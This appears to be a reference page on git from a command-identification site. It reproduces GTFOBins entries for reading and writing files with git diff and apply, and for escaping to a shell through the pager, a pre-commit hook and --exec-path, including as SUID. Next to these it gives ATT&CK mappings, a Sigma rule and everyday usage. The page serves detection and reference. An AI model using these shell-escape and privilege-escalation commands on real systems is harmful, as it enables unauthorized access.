Identifier / Programs / Linux and Unix

git

Distributed version control system. Some subcommands such as commit, add, branch, switch, push, etc. have their own usage documentation. tldr-pages

GTFOBins file-read, file-write, inherit, shell 1 Sigma rule name it 2 ATT&CK techniques 7 documented commands

How git is abused

documented by GTFOBins

file-read

diff

file-write

apply

--unsafe-paths

--directory

inherit

help

inherit

branch

--help

shell T1059.004 Command and Scripting Interpreter: Unix Shell

-c

-p

shell T1059.004 Command and Scripting Interpreter: Unix Shell

init

-C

--allow-empty

-m

shell T1059.004 Command and Scripting Interpreter: Unix Shell

--exec-path

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for git.

7 documented commands

from GTFOBins, each read by the identifier

file-read unprivileged, with sudo, as SUID

The read file content is displayed in diff style output format.

git diff /dev/null /path/to/input-file

Identify

file-write unprivileged, with sudo, as SUID

The patch can be created locally by creating the file that will be written on the target using its absolute path:

echo DATA >/path/to/input-file
git diff /dev/null /path/to/input-file >x.patch

git apply --unsafe-paths --directory / x.patch

Identify

inherit unprivileged, with sudo

git help config

Identify

inherit unprivileged, with sudo

The help system can also be reached from any git command, e.g., git branch.

git branch --help config
!/bin/sh

Identify

shell unprivileged, with sudo

PAGER='/bin/sh -c "exec sh 0<&1"' git -p help

Identify

shell unprivileged, with sudo

Git hooks are merely shell scripts and in the following example the hook associated to the pre-commit action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used, and moving into the directory works too.

git init .
echo 'exec /bin/sh 0<&2 1>&2' >.git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
git -C . commit --allow-empty -m x

Identify

shell unprivileged, with sudo, as SUID

ln -s /bin/sh git-x
git --exec-path=. x

Identify

As SUID:

ln -s /bin/sh git-x
git --exec-path=. x -p

None of the 7 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for git. The identifier reads the line of each that runs git.

What detects it

Sigma process creation rules

mediumSuspicious Git Clone - LinuxNasreddine Bencherchali (Nextron Systems)

T1059.004Command and Scripting Interpreter: Unix Shell

T1593.003Search Open Websites/Domains: Code Repositories

Everyday use

from tldr-pages, CC BY 4.0

Create an empty Git repository

git initIdentify

Clone a remote Git repository from the internet

git clone https://example.com/repo.gitIdentify

View the status of the local repository

git statusIdentify

None of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.

git

How git is abused

7 documented commands

What detects it

Everyday use

Other programs abused for file-read